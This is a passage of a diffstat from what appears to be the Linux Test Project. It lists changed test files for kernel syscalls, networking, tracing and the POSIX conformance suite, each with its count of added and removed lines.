.../kernel/syscalls/mount_setattr/Makefile | 6 + .../syscalls/mount_setattr/mount_setattr01.c | 133 + .../kernel/syscalls/move_pages/move_pages09.c | 23 +- .../kernel/syscalls/move_pages/move_pages12.c | 5 +- .../syscalls/move_pages/move_pages_support.c | 7 +- testcases/kernel/syscalls/mprotect/.gitignore | 1 + .../kernel/syscalls/mprotect/mprotect01.c | 3 +- .../kernel/syscalls/mprotect/mprotect02.c | 5 +- .../kernel/syscalls/mprotect/mprotect03.c | 2 +- .../kernel/syscalls/mprotect/mprotect05.c | 69 + .../kernel/syscalls/mq_notify/.gitignore | 1 + .../kernel/syscalls/mq_notify/mq_notify02.c | 93 +- .../kernel/syscalls/mq_notify/mq_notify03.c | 99 + testcases/kernel/syscalls/mremap/.gitignore | 1 + testcases/kernel/syscalls/mremap/mremap05.c | 11 - testcases/kernel/syscalls/mremap/mremap06.c | 134 + testcases/kernel/syscalls/msync/msync01.c | 2 +- testcases/kernel/syscalls/msync/msync03.c | 2 +- testcases/kernel/syscalls/msync/msync04.c | 3 +- testcases/kernel/syscalls/munlock/munlock01.c | 181 +- testcases/kernel/syscalls/munlock/munlock02.c | 212 +- testcases/kernel/syscalls/munmap/munmap01.c | 2 +- testcases/kernel/syscalls/munmap/munmap02.c | 2 +- testcases/kernel/syscalls/munmap/munmap03.c | 7 - .../name_to_handle_at/name_to_handle_at01.c | 2 +- .../kernel/syscalls/newuname/newuname01.c | 2 +- testcases/kernel/syscalls/nice/.gitignore | 1 + testcases/kernel/syscalls/nice/Makefile | 2 + testcases/kernel/syscalls/nice/nice01.c | 44 +- testcases/kernel/syscalls/nice/nice02.c | 13 +- testcases/kernel/syscalls/nice/nice03.c | 18 +- testcases/kernel/syscalls/nice/nice04.c | 9 +- testcases/kernel/syscalls/nice/nice05.c | 158 ++ testcases/kernel/syscalls/open/.gitignore | 1 - testcases/kernel/syscalls/open/Makefile | 2 + testcases/kernel/syscalls/open/open02.c | 19 +- testcases/kernel/syscalls/open/open03.c | 95 +- testcases/kernel/syscalls/open/open04.c | 149 +- testcases/kernel/syscalls/open/open06.c | 96 +- testcases/kernel/syscalls/open/open08.c | 84 +- testcases/kernel/syscalls/open/open12.c | 35 +- testcases/kernel/syscalls/open/open13.c | 5 - testcases/kernel/syscalls/open/open14.c | 2 +- .../open_by_handle_at/open_by_handle_at01.c | 2 +- testcases/kernel/syscalls/openat/.gitignore | 1 + testcases/kernel/syscalls/openat/Makefile | 2 + testcases/kernel/syscalls/openat/openat.h | 2 +- testcases/kernel/syscalls/openat/openat01.c | 154 +- testcases/kernel/syscalls/openat/openat02.c | 22 +- testcases/kernel/syscalls/openat/openat03.c | 2 +- testcases/kernel/syscalls/openat/openat04.c | 182 ++ .../perf_event_open/perf_event_open01.c | 18 +- .../perf_event_open/perf_event_open02.c | 9 +- .../perf_event_open/perf_event_open03.c | 47 +- .../syscalls/personality/personality01.c | 93 +- .../syscalls/personality/personality02.c | 64 +- .../kernel/syscalls/pidfd_getfd/.gitignore | 2 + .../kernel/syscalls/pidfd_getfd/Makefile | 6 + .../syscalls/pidfd_getfd/pidfd_getfd01.c | 101 + .../syscalls/pidfd_getfd/pidfd_getfd02.c | 112 + .../kernel/syscalls/pidfd_open/.gitignore | 1 + .../kernel/syscalls/pidfd_open/pidfd_open01.c | 37 +- .../kernel/syscalls/pidfd_open/pidfd_open02.c | 36 +- .../kernel/syscalls/pidfd_open/pidfd_open03.c | 13 +- .../kernel/syscalls/pidfd_open/pidfd_open04.c | 93 + .../pidfd_send_signal/pidfd_send_signal01.c | 8 +- .../pidfd_send_signal/pidfd_send_signal02.c | 28 +- .../pidfd_send_signal/pidfd_send_signal03.c | 10 +- testcases/kernel/syscalls/pipe/.gitignore | 1 + testcases/kernel/syscalls/pipe/pipe01.c | 2 +- testcases/kernel/syscalls/pipe/pipe02.c | 4 +- testcases/kernel/syscalls/pipe/pipe03.c | 51 +- testcases/kernel/syscalls/pipe/pipe06.c | 138 +- testcases/kernel/syscalls/pipe/pipe07.c | 201 +- testcases/kernel/syscalls/pipe/pipe08.c | 152 +- testcases/kernel/syscalls/pipe/pipe10.c | 178 +- testcases/kernel/syscalls/pipe/pipe11.c | 2 +- testcases/kernel/syscalls/pipe/pipe12.c | 4 +- testcases/kernel/syscalls/pipe/pipe14.c | 46 + testcases/kernel/syscalls/pipe2/pipe2_01.c | 4 - testcases/kernel/syscalls/pipe2/pipe2_02.c | 10 +- testcases/kernel/syscalls/pipe2/pipe2_04.c | 5 +- .../kernel/syscalls/pivot_root/pivot_root01.c | 2 - testcases/kernel/syscalls/pkeys/pkey01.c | 9 +- testcases/kernel/syscalls/poll/poll01.c | 2 +- testcases/kernel/syscalls/ppoll/ppoll01.c | 2 +- testcases/kernel/syscalls/prctl/.gitignore | 1 + testcases/kernel/syscalls/prctl/prctl01.c | 10 +- testcases/kernel/syscalls/prctl/prctl02.c | 71 +- testcases/kernel/syscalls/prctl/prctl03.c | 25 +- testcases/kernel/syscalls/prctl/prctl04.c | 65 +- testcases/kernel/syscalls/prctl/prctl05.c | 19 +- testcases/kernel/syscalls/prctl/prctl06.c | 36 +- testcases/kernel/syscalls/prctl/prctl06.h | 2 +- testcases/kernel/syscalls/prctl/prctl07.c | 45 +- testcases/kernel/syscalls/prctl/prctl08.c | 18 +- testcases/kernel/syscalls/prctl/prctl09.c | 9 +- testcases/kernel/syscalls/prctl/prctl10.c | 111 + testcases/kernel/syscalls/pread/pread02.c | 6 +- testcases/kernel/syscalls/preadv/preadv01.c | 5 +- testcases/kernel/syscalls/preadv/preadv02.c | 1 - testcases/kernel/syscalls/preadv/preadv03.c | 5 +- testcases/kernel/syscalls/preadv2/preadv201.c | 4 +- testcases/kernel/syscalls/preadv2/preadv203.c | 8 +- .../syscalls/process_madvise/.gitignore | 1 + .../kernel/syscalls/process_madvise/Makefile | 7 + .../process_madvise/process_madvise.h | 101 + .../process_madvise/process_madvise01.c | 131 + testcases/kernel/syscalls/ptrace/ptrace07.c | 41 +- testcases/kernel/syscalls/ptrace/ptrace08.c | 35 +- testcases/kernel/syscalls/pwrite/pwrite01.c | 2 +- testcases/kernel/syscalls/pwritev/pwritev01.c | 1 - testcases/kernel/syscalls/pwritev/pwritev02.c | 1 - testcases/kernel/syscalls/pwritev/pwritev03.c | 1 - .../kernel/syscalls/quotactl/quotactl01.c | 12 +- .../kernel/syscalls/quotactl/quotactl04.c | 42 +- .../kernel/syscalls/quotactl/quotactl06.c | 65 +- .../kernel/syscalls/quotactl/quotactl08.c | 5 +- .../kernel/syscalls/quotactl/quotactl09.c | 4 +- testcases/kernel/syscalls/read/read01.c | 2 +- testcases/kernel/syscalls/read/read04.c | 2 +- .../kernel/syscalls/readahead/readahead01.c | 62 +- .../kernel/syscalls/readahead/readahead02.c | 33 +- testcases/kernel/syscalls/readdir/readdir01.c | 4 +- .../kernel/syscalls/readlinkat/readlinkat01.c | 182 +- .../kernel/syscalls/readlinkat/readlinkat02.c | 127 +- testcases/kernel/syscalls/readv/readv01.c | 3 +- testcases/kernel/syscalls/recvmsg/recvmsg01.c | 723 +++-- testcases/kernel/syscalls/recvmsg/recvmsg02.c | 1 - .../remap_file_pages/remap_file_pages01.c | 9 - .../remap_file_pages/remap_file_pages02.c | 6 - testcases/kernel/syscalls/rename/.gitignore | 1 - testcases/kernel/syscalls/rename/rename01.c | 267 +- testcases/kernel/syscalls/rename/rename03.c | 279 +- testcases/kernel/syscalls/rename/rename04.c | 204 +- testcases/kernel/syscalls/rename/rename05.c | 193 +- testcases/kernel/syscalls/rename/rename06.c | 187 +- testcases/kernel/syscalls/rename/rename07.c | 171 +- testcases/kernel/syscalls/rename/rename08.c | 205 +- testcases/kernel/syscalls/rename/rename10.c | 187 +- testcases/kernel/syscalls/rename/rename12.c | 253 +- testcases/kernel/syscalls/rename/rename13.c | 206 +- .../kernel/syscalls/renameat/renameat01.c | 6 - .../kernel/syscalls/renameat2/renameat2.h | 2 +- .../syscalls/request_key/request_key03.c | 177 +- .../rt_sigprocmask/rt_sigprocmask01.c | 6 +- .../rt_sigprocmask/rt_sigprocmask02.c | 2 +- .../rt_sigqueueinfo/rt_sigqueueinfo01.c | 1 - testcases/kernel/syscalls/sbrk/sbrk01.c | 121 +- testcases/kernel/syscalls/sbrk/sbrk02.c | 101 +- .../sched_get_priority_max01.c | 15 +- .../sched_get_priority_min01.c | 15 +- .../syscalls/sched_getattr/sched_getattr01.c | 3 - .../syscalls/sched_getattr/sched_getattr02.c | 2 - .../sched_rr_get_interval01.c | 3 +- .../syscalls/sched_setattr/sched_setattr01.c | 2 - testcases/kernel/syscalls/select/select01.c | 2 +- testcases/kernel/syscalls/select/select_var.h | 2 +- .../kernel/syscalls/sendfile/sendfile02.c | 2 +- .../kernel/syscalls/sendfile/sendfile04.c | 1 + .../kernel/syscalls/sendfile/sendfile05.c | 3 +- .../kernel/syscalls/sendfile/sendfile06.c | 2 +- .../kernel/syscalls/sendfile/sendfile08.c | 5 +- .../kernel/syscalls/sendfile/sendfile09.c | 4 +- testcases/kernel/syscalls/sendmsg/sendmsg03.c | 16 +- testcases/kernel/syscalls/sendto/sendto03.c | 18 +- .../syscalls/set_mempolicy/set_mempolicy01.c | 10 + .../syscalls/set_mempolicy/set_mempolicy04.c | 4 +- .../set_thread_area/set_thread_area01.c | 2 +- .../set_tid_address/set_tid_address01.c | 2 +- .../syscalls/setdomainname/setdomainname.h | 2 +- testcases/kernel/syscalls/setegid/setegid01.c | 122 +- testcases/kernel/syscalls/setegid/setegid02.c | 90 +- .../kernel/syscalls/setfsgid/setfsgid01.c | 96 +- .../kernel/syscalls/setfsuid/setfsuid01.c | 96 +- .../kernel/syscalls/setfsuid/setfsuid02.c | 94 +- .../kernel/syscalls/setfsuid/setfsuid03.c | 111 +- .../kernel/syscalls/setgroups/.gitignore | 2 - .../kernel/syscalls/setgroups/setgroups01.c | 211 +- .../kernel/syscalls/setgroups/setgroups02.c | 191 +- .../kernel/syscalls/setgroups/setgroups03.c | 245 +- .../kernel/syscalls/setitimer/.gitignore | 1 - .../kernel/syscalls/setitimer/setitimer01.c | 257 +- .../kernel/syscalls/setitimer/setitimer02.c | 29 +- testcases/kernel/syscalls/setns/setns.h | 2 +- testcases/kernel/syscalls/setpgid/setpgid02.c | 162 +- testcases/kernel/syscalls/setpgid/setpgid03.c | 176 +- .../kernel/syscalls/setpgid/setpgid03_child.c | 28 +- .../kernel/syscalls/setregid/setregid01.c | 19 +- .../kernel/syscalls/setresuid/setresuid04.c | 256 +- .../kernel/syscalls/setresuid/setresuid05.c | 107 +- .../kernel/syscalls/setreuid/setreuid01.c | 194 +- .../kernel/syscalls/setreuid/setreuid04.c | 150 +- .../kernel/syscalls/setreuid/setreuid06.c | 107 +- .../kernel/syscalls/setreuid/setreuid07.c | 196 +- .../kernel/syscalls/setsockopt/.gitignore | 1 + .../kernel/syscalls/setsockopt/setsockopt02.c | 5 +- .../kernel/syscalls/setsockopt/setsockopt03.c | 1 - .../kernel/syscalls/setsockopt/setsockopt05.c | 18 +- .../kernel/syscalls/setsockopt/setsockopt06.c | 27 +- .../kernel/syscalls/setsockopt/setsockopt07.c | 28 +- .../kernel/syscalls/setsockopt/setsockopt08.c | 92 +- .../kernel/syscalls/setsockopt/setsockopt09.c | 125 + testcases/kernel/syscalls/setuid/setuid01.c | 17 +- testcases/kernel/syscalls/setuid/setuid03.c | 21 +- .../kernel/syscalls/sgetmask/sgetmask01.c | 4 +- testcases/kernel/syscalls/sighold/sighold02.c | 186 +- testcases/kernel/syscalls/signal/signal01.c | 202 +- testcases/kernel/syscalls/signal/signal02.c | 144 +- testcases/kernel/syscalls/signal/signal03.c | 165 +- testcases/kernel/syscalls/signal/signal04.c | 186 +- testcases/kernel/syscalls/signal/signal05.c | 163 +- testcases/kernel/syscalls/signal/signal06.c | 4 +- .../kernel/syscalls/signalfd/signalfd01.c | 11 +- .../kernel/syscalls/signalfd4/signalfd4_01.c | 9 +- .../kernel/syscalls/signalfd4/signalfd4_02.c | 9 +- testcases/kernel/syscalls/socket/socket01.c | 20 - testcases/kernel/syscalls/socket/socket02.c | 1 - .../kernel/syscalls/socketpair/socketpair01.c | 20 - .../kernel/syscalls/socketpair/socketpair02.c | 1 - .../kernel/syscalls/sockioctl/sockioctl01.c | 13 +- testcases/kernel/syscalls/splice/splice01.c | 9 +- testcases/kernel/syscalls/splice/splice02.c | 3 +- testcases/kernel/syscalls/splice/splice03.c | 3 +- testcases/kernel/syscalls/splice/splice04.c | 3 +- testcases/kernel/syscalls/splice/splice05.c | 3 +- .../kernel/syscalls/ssetmask/ssetmask01.c | 6 +- testcases/kernel/syscalls/stat/stat01.c | 66 +- testcases/kernel/syscalls/stat/stat02.c | 2 +- testcases/kernel/syscalls/stat/stat03.c | 25 +- testcases/kernel/syscalls/statfs/statfs01.c | 210 +- testcases/kernel/syscalls/statfs/statfs02.c | 139 +- testcases/kernel/syscalls/statfs/statfs03.c | 173 +- testcases/kernel/syscalls/statvfs/statvfs01.c | 107 +- testcases/kernel/syscalls/statvfs/statvfs02.c | 116 +- testcases/kernel/syscalls/statx/.gitignore | 4 + testcases/kernel/syscalls/statx/statx01.c | 23 +- testcases/kernel/syscalls/statx/statx02.c | 3 +- testcases/kernel/syscalls/statx/statx03.c | 1 + testcases/kernel/syscalls/statx/statx04.c | 18 +- testcases/kernel/syscalls/statx/statx05.c | 1 + testcases/kernel/syscalls/statx/statx06.c | 11 +- testcases/kernel/syscalls/statx/statx07.c | 20 +- testcases/kernel/syscalls/statx/statx08.c | 1 + testcases/kernel/syscalls/statx/statx09.c | 168 ++ testcases/kernel/syscalls/statx/statx10.c | 93 + testcases/kernel/syscalls/statx/statx11.c | 89 + testcases/kernel/syscalls/statx/statx12.c | 95 + .../kernel/syscalls/switch/endian_switch01.c | 28 +- testcases/kernel/syscalls/symlink/symlink01.c | 8 +- .../kernel/syscalls/symlinkat/symlinkat01.c | 12 +- .../kernel/syscalls/sync_file_range/Makefile | 2 + .../sync_file_range/sync_file_range01.c | 4 +- .../sync_file_range/sync_file_range02.c | 6 +- testcases/kernel/syscalls/syscall/syscall01.c | 8 + testcases/kernel/syscalls/sysctl/sysctl03.c | 12 +- testcases/kernel/syscalls/sysinfo/sysinfo03.c | 2 +- testcases/kernel/syscalls/syslog/Makefile | 3 - testcases/kernel/syscalls/syslog/syslog11.c | 238 +- testcases/kernel/syscalls/syslog/syslog12.c | 257 +- testcases/kernel/syscalls/tee/tee01.c | 9 +- testcases/kernel/syscalls/tee/tee02.c | 3 +- testcases/kernel/syscalls/tgkill/tgkill03.c | 1 - .../syscalls/timer_create/timer_create01.c | 10 - .../syscalls/timer_delete/timer_delete01.c | 6 - .../timer_getoverrun/timer_getoverrun01.c | 6 +- .../syscalls/timer_settime/timer_settime01.c | 6 - .../syscalls/timer_settime/timer_settime02.c | 6 - .../syscalls/timer_settime/timer_settime03.c | 15 +- testcases/kernel/syscalls/timerfd/timerfd01.c | 1 - testcases/kernel/syscalls/timerfd/timerfd02.c | 9 +- testcases/kernel/syscalls/timerfd/timerfd03.c | 9 +- testcases/kernel/syscalls/timerfd/timerfd04.c | 6 +- .../syscalls/timerfd/timerfd_create01.c | 102 +- .../syscalls/timerfd/timerfd_gettime01.c | 1 - .../syscalls/timerfd/timerfd_settime01.c | 1 - .../syscalls/timerfd/timerfd_settime02.c | 2 +- testcases/kernel/syscalls/times/times03.c | 2 +- testcases/kernel/syscalls/tkill/tkill01.c | 2 +- testcases/kernel/syscalls/tkill/tkill02.c | 3 +- .../kernel/syscalls/truncate/truncate03.c | 21 +- testcases/kernel/syscalls/umount2/.gitignore | 1 - .../kernel/syscalls/umount2/umount2_01.c | 3 +- .../kernel/syscalls/umount2/umount2_02.c | 213 +- testcases/kernel/syscalls/uname/uname04.c | 4 + testcases/kernel/syscalls/unlink/unlink07.c | 42 +- testcases/kernel/syscalls/unlink/unlink08.c | 40 +- .../kernel/syscalls/unlinkat/unlinkat01.c | 8 +- testcases/kernel/syscalls/unshare/unshare02.c | 2 +- .../syscalls/userfaultfd/userfaultfd01.c | 9 +- testcases/kernel/syscalls/ustat/ustat01.c | 2 +- testcases/kernel/syscalls/ustat/ustat02.c | 2 +- testcases/kernel/syscalls/utils/compat_16.h | 2 +- testcases/kernel/syscalls/utils/compat_uid.h | 2 +- testcases/kernel/syscalls/utime/utime01.c | 262 +- testcases/kernel/syscalls/utime/utime02.c | 281 +- testcases/kernel/syscalls/utime/utime03.c | 10 +- testcases/kernel/syscalls/utime/utime04.c | 213 +- testcases/kernel/syscalls/utime/utime05.c | 227 +- testcases/kernel/syscalls/utime/utime06.c | 189 +- .../kernel/syscalls/utimensat/utimensat01.c | 14 +- .../kernel/syscalls/vmsplice/vmsplice01.c | 1 - .../kernel/syscalls/vmsplice/vmsplice02.c | 1 - .../kernel/syscalls/vmsplice/vmsplice03.c | 3 +- .../kernel/syscalls/vmsplice/vmsplice04.c | 1 - testcases/kernel/syscalls/waitid/.gitignore | 9 + testcases/kernel/syscalls/waitid/waitid01.c | 150 +- testcases/kernel/syscalls/waitid/waitid02.c | 314 +-- testcases/kernel/syscalls/waitid/waitid03.c | 31 + testcases/kernel/syscalls/waitid/waitid04.c | 46 + testcases/kernel/syscalls/waitid/waitid05.c | 52 + testcases/kernel/syscalls/waitid/waitid06.c | 49 + testcases/kernel/syscalls/waitid/waitid07.c | 51 + testcases/kernel/syscalls/waitid/waitid08.c | 63 + testcases/kernel/syscalls/waitid/waitid09.c | 37 + testcases/kernel/syscalls/waitid/waitid10.c | 79 + testcases/kernel/syscalls/waitid/waitid11.c | 47 + testcases/kernel/syscalls/write/write02.c | 17 +- testcases/kernel/syscalls/write/write03.c | 2 +- testcases/kernel/syscalls/write/write04.c | 31 +- testcases/kernel/syscalls/write/write05.c | 39 +- testcases/kernel/syscalls/write/write06.c | 4 +- testcases/kernel/syscalls/writev/writev03.c | 4 +- .../tracing/dynamic_debug/dynamic_debug01.sh | 27 +- .../kernel/tracing/ftrace_test/ftrace_lib.sh | 7 +- .../ftrace_stress/ftrace_trace_clock.sh | 28 +- .../ftrace_stress/ftrace_trace_stat.sh | 6 - testcases/kernel/uevents/uevent.h | 2 +- testcases/kernel/uevents/uevent02.c | 160 +- testcases/kernel/watchqueue/.gitignore | 9 + testcases/kernel/watchqueue/Makefile | 8 + testcases/kernel/watchqueue/common.h | 165 ++ testcases/kernel/watchqueue/wqueue01.c | 43 + testcases/kernel/watchqueue/wqueue02.c | 43 + testcases/kernel/watchqueue/wqueue03.c | 43 + testcases/kernel/watchqueue/wqueue04.c | 43 + testcases/kernel/watchqueue/wqueue05.c | 43 + testcases/kernel/watchqueue/wqueue06.c | 42 + testcases/kernel/watchqueue/wqueue07.c | 43 + testcases/kernel/watchqueue/wqueue08.c | 48 + testcases/kernel/watchqueue/wqueue09.c | 69 + testcases/lib/.gitignore | 9 +- testcases/lib/Makefile | 3 +- testcases/lib/cmdlib.sh | 2 +- testcases/lib/tst_ansi_color.sh | 20 +- testcases/lib/tst_cgctl.c | 87 + testcases/lib/tst_device.c | 25 +- testcases/lib/tst_fsfreeze.c | 38 + testcases/lib/tst_get_free_pids.c | 2 +- testcases/lib/tst_kvcmp.c | 2 +- testcases/lib/tst_lockdown_enabled.c | 12 + testcases/lib/tst_net.sh | 271 +- testcases/lib/tst_ns_common.h | 42 + testcases/lib/tst_ns_create.c | 92 + testcases/lib/tst_ns_exec.c | 115 + testcases/lib/tst_ns_ifmove.c | 92 + testcases/lib/tst_rod.c | 9 +- testcases/lib/tst_secureboot_enabled.c | 12 + testcases/lib/tst_supported_fs.c | 147 +- testcases/lib/tst_test.sh | 232 +- testcases/misc/lvm/cleanup_lvm.sh | 2 +- testcases/misc/lvm/generate_lvm_runfile.sh | 9 +- testcases/misc/lvm/prepare_lvm.sh | 4 +- testcases/network/busy_poll/busy_poll01.sh | 3 +- testcases/network/busy_poll/busy_poll02.sh | 3 +- testcases/network/busy_poll/busy_poll03.sh | 3 +- testcases/network/busy_poll/busy_poll_lib.sh | 4 +- testcases/network/can/cve/can_bcm01.c | 1 + .../network/can/filter-tests/can_filter.c | 8 +- .../can/filter-tests/can_rcv_own_msgs.c | 2 +- testcases/network/dccp/dccp01.sh | 2 +- testcases/network/dhcp/dhcp_lib.sh | 12 +- testcases/network/dhcp/dhcpd_tests.sh | 6 +- testcases/network/dhcp/dnsmasq_tests.sh | 28 +- testcases/network/iproute/ip_tests.sh | 2 +- testcases/network/iptables/iptables01.sh | 1 - testcases/network/iptables/iptables_lib.sh | 13 +- testcases/network/iptables/nft01.sh | 3 +- testcases/network/lib6/asapi_01.c | 2 +- testcases/network/lib6/asapi_02.c | 336 ++- testcases/network/lib6/asapi_03.c | 2 +- testcases/network/lib6/getaddrinfo_01.c | 2 +- testcases/network/lib6/in6_01.c | 5 + testcases/network/lib6/in6_02.c | 8 +- testcases/network/mpls/mpls01.sh | 2 +- testcases/network/mpls/mpls02.sh | 3 +- testcases/network/mpls/mpls03.sh | 5 +- testcases/network/mpls/mpls04.sh | 5 +- testcases/network/mpls/mpls_lib.sh | 4 +- .../network/multicast/mc_cmds/mc_cmds.sh | 6 +- .../network/multicast/mc_commo/mc_commo.sh | 5 +- .../network/multicast/mc_member/mc_member.sh | 6 +- .../multicast/mc_opts/mc_verify_opts.c | 9 +- .../multicast/mc_opts/mc_verify_opts_error.c | 7 +- testcases/network/netstress/netstress.c | 12 +- testcases/network/nfs/fsx-linux/fsx.sh | 3 +- testcases/network/nfs/nfs_stress/Makefile | 9 +- testcases/network/nfs/nfs_stress/nfs01.sh | 3 +- .../network/nfs/nfs_stress/nfs01_open_files.c | 23 +- testcases/network/nfs/nfs_stress/nfs02.sh | 3 +- testcases/network/nfs/nfs_stress/nfs03.sh | 5 +- testcases/network/nfs/nfs_stress/nfs04.sh | 2 +- testcases/network/nfs/nfs_stress/nfs05.sh | 9 +- .../network/nfs/nfs_stress/nfs05_make_tree.c | 9 +- testcases/network/nfs/nfs_stress/nfs06.sh | 7 +- testcases/network/nfs/nfs_stress/nfs07.sh | 8 +- testcases/network/nfs/nfs_stress/nfs08.sh | 23 + testcases/network/nfs/nfs_stress/nfs_lib.sh | 90 +- testcases/network/nfs/nfslock01/Makefile | 2 +- testcases/network/nfs/nfslock01/nfs_flock.c | 72 +- testcases/network/nfs/nfslock01/nfs_flock.h | 6 + .../network/nfs/nfslock01/nfs_flock_dgen.c | 39 +- .../network/nfs/nfslock01/nfs_flock_func.c | 6 + testcases/network/nfs/nfslock01/nfslock01.sh | 86 + testcases/network/nfs/nfsstat01/Makefile | 2 +- testcases/network/nfs/nfsstat01/nfsstat01.sh | 95 + testcases/network/packet/fanout01.c | 28 +- .../network/rpc/basic_tests/rpc01/rpc01.sh | 4 +- testcases/network/rpc/basic_tests/rpc_lib.sh | 25 +- .../rpc/basic_tests/rpcinfo/rpcinfo01.sh | 4 +- testcases/network/rpc/rpc-tirpc/rpc_test.sh | 4 +- .../rpc_clnt_broadcast.c | 3 +- .../rpc_clnt_broadcast_complex.c | 3 +- .../rpc_clnt_broadcast_dataint.c | 15 +- .../rpc_clnt_broadcast_performance.c | 2 +- .../rpc_clnt_broadcast_scalability.c | 2 +- .../rpc_clnt_broadcast_stress.c | 2 +- .../rpc_registerrpc.c | 5 +- testcases/network/sctp/sctp01.sh | 2 +- testcases/network/sctp/sctp_big_chunk.c | 35 +- testcases/network/sockets/bind_noport01.sh | 2 +- testcases/network/sockets/vsock01.c | 4 +- .../stress/broken_ip/broken_ip-checksum.sh | 2 +- .../stress/broken_ip/broken_ip-dstaddr.sh | 2 +- .../stress/broken_ip/broken_ip-fragment.sh | 2 +- .../network/stress/broken_ip/broken_ip-ihl.sh | 2 +- .../stress/broken_ip/broken_ip-nexthdr.sh | 10 +- .../stress/broken_ip/broken_ip-plen.sh | 2 +- .../stress/broken_ip/broken_ip-protcol.sh | 2 +- .../stress/broken_ip/broken_ip-version.sh | 2 +- testcases/network/stress/dccp/dccp_ipsec.sh | 4 +- .../network/stress/dccp/dccp_ipsec_vti.sh | 4 +- testcases/network/stress/dns/dns-stress.sh | 6 +- .../network/stress/ftp/ftp-download-stress.sh | 4 +- .../network/stress/ftp/ftp-upload-stress.sh | 4 +- testcases/network/stress/http/http-stress.sh | 4 +- .../network/stress/http/http-stress02-rmt.sh | 2 +- .../network/stress/icmp/icmp-uni-basic.sh | 4 +- testcases/network/stress/icmp/icmp-uni-vti.sh | 4 +- .../stress/interface/if-addr-adddel.sh | 11 +- .../stress/interface/if-addr-addlarge.sh | 11 +- testcases/network/stress/interface/if-lib.sh | 12 +- .../network/stress/interface/if-mtu-change.sh | 62 +- .../stress/interface/if-route-adddel.sh | 9 +- .../stress/interface/if-route-addlarge.sh | 9 +- .../network/stress/interface/if-updown.sh | 9 +- .../stress/interface/if4-addr-change.sh | 6 +- testcases/network/stress/ipsec/ipsec_lib.sh | 15 +- .../mcast-group-multiple-socket.sh | 2 +- .../grp-operation/mcast-group-same-group.sh | 2 +- .../mcast-group-single-socket.sh | 2 +- .../mcast-group-source-filter.sh | 2 +- .../multicast/grp-operation/mcast-lib.sh | 7 +- .../multicast/packet-flood/mcast-pktfld01.sh | 2 +- .../multicast/packet-flood/mcast-pktfld02.sh | 2 +- .../multicast/query-flood/mcast-queryfld01.sh | 2 +- .../multicast/query-flood/mcast-queryfld02.sh | 2 +- .../multicast/query-flood/mcast-queryfld03.sh | 2 +- .../multicast/query-flood/mcast-queryfld04.sh | 2 +- .../multicast/query-flood/mcast-queryfld05.sh | 2 +- .../multicast/query-flood/mcast-queryfld06.sh | 2 +- .../network/stress/ns-tools/tst_net_stress.sh | 4 +- .../network/stress/route/route-change-dst.sh | 6 +- .../network/stress/route/route-change-gw.sh | 6 +- .../network/stress/route/route-change-if.sh | 6 +- .../stress/route/route-change-netlink-dst.sh | 4 +- .../stress/route/route-change-netlink-gw.sh | 4 +- .../stress/route/route-change-netlink-if.sh | 4 +- .../stress/route/route-change-netlink.c | 6 +- testcases/network/stress/route/route-lib.sh | 5 +- .../network/stress/route/route-redirect.sh | 4 +- testcases/network/stress/sctp/sctp_ipsec.sh | 4 +- .../network/stress/sctp/sctp_ipsec_vti.sh | 4 +- testcases/network/stress/ssh/ssh-stress.sh | 2 +- testcases/network/stress/tcp/tcp_ipsec.sh | 4 +- testcases/network/stress/tcp/tcp_ipsec_vti.sh | 4 +- .../udp/multi-diffip/udp4-multi-diffip01 | 2 +- testcases/network/stress/udp/udp_ipsec.sh | 4 +- testcases/network/stress/udp/udp_ipsec_vti.sh | 4 +- testcases/network/tcp_cc/bbr01.sh | 3 +- testcases/network/tcp_cc/bbr02.sh | 4 +- testcases/network/tcp_cc/dctcp01.sh | 3 +- testcases/network/tcp_cc/tcp_cc_lib.sh | 5 +- testcases/network/tcp_cmds/arping/arping01.sh | 2 +- .../network/tcp_cmds/clockdiff/clockdiff01.sh | 2 +- testcases/network/tcp_cmds/ftp/ftp01.sh | 205 +- testcases/network/tcp_cmds/host/host01.sh | 2 +- .../network/tcp_cmds/ipneigh/ipneigh01.sh | 4 +- .../network/tcp_cmds/netstat/netstat01.sh | 2 +- testcases/network/tcp_cmds/ping/ping01.sh | 2 +- testcases/network/tcp_cmds/ping/ping02.sh | 2 +- .../network/tcp_cmds/sendfile/sendfile01.sh | 2 +- testcases/network/tcp_cmds/tc/tc01.sh | 3 +- .../network/tcp_cmds/tcpdump/tcpdump01.sh | 3 +- testcases/network/tcp_cmds/telnet/telnet01.sh | 3 +- .../network/tcp_cmds/tracepath/tracepath01.sh | 2 +- .../network/tcp_fastopen/tcp_fastopen_run.sh | 2 +- testcases/network/traceroute/traceroute01.sh | 2 +- testcases/network/virt/fou01.sh | 2 +- testcases/network/virt/geneve01.sh | 9 +- testcases/network/virt/geneve02.sh | 14 +- testcases/network/virt/gre01.sh | 2 +- testcases/network/virt/gre02.sh | 2 +- testcases/network/virt/ipvlan01.sh | 2 +- testcases/network/virt/macsec01.sh | 1 - testcases/network/virt/macsec02.sh | 1 - testcases/network/virt/macsec03.sh | 3 +- testcases/network/virt/macsec_lib.sh | 11 +- testcases/network/virt/macvlan01.sh | 2 +- testcases/network/virt/macvtap01.sh | 2 +- testcases/network/virt/sit01.sh | 2 +- testcases/network/virt/virt_lib.sh | 44 +- testcases/network/virt/vlan01.sh | 2 +- testcases/network/virt/vlan02.sh | 2 +- testcases/network/virt/vlan03.sh | 2 +- testcases/network/virt/vxlan01.sh | 9 +- testcases/network/virt/vxlan02.sh | 5 +- testcases/network/virt/vxlan03.sh | 2 +- testcases/network/virt/vxlan04.sh | 2 +- testcases/network/virt/wireguard01.sh | 3 +- testcases/network/virt/wireguard02.sh | 6 +- testcases/network/virt/wireguard_lib.sh | 4 +- testcases/network/xinetd/xinetd_tests.sh | 2 +- testcases/open_posix_testsuite/.gitignore | 5 + .../Documentation/HOWTO_Release | 4 +- .../Documentation/HOWTO_RunTests | 1 + testcases/open_posix_testsuite/Makefile | 53 +- testcases/open_posix_testsuite/QUICK-START | 6 +- testcases/open_posix_testsuite/bin/Makefile | 30 +- .../bin/run-posix-option-group-test.sh | 16 +- testcases/open_posix_testsuite/configure.ac | 18 + .../open_posix_testsuite/conformance/Makefile | 1 + .../conformance/behavior/Makefile | 2 + .../conformance/definitions/Makefile | 2 + .../conformance/definitions/aio_h/2-1.c | 2 + .../conformance/interfaces/Makefile | 2 + .../conformance/interfaces/aio_read/8-1.c | 2 +- .../interfaces/aio_read/assertions.xml | 8 +- .../conformance/interfaces/aio_write/6-1.c | 3 +- .../interfaces/aio_write/assertions.xml | 8 +- .../interfaces/fork/assertions.xml | 2 +- 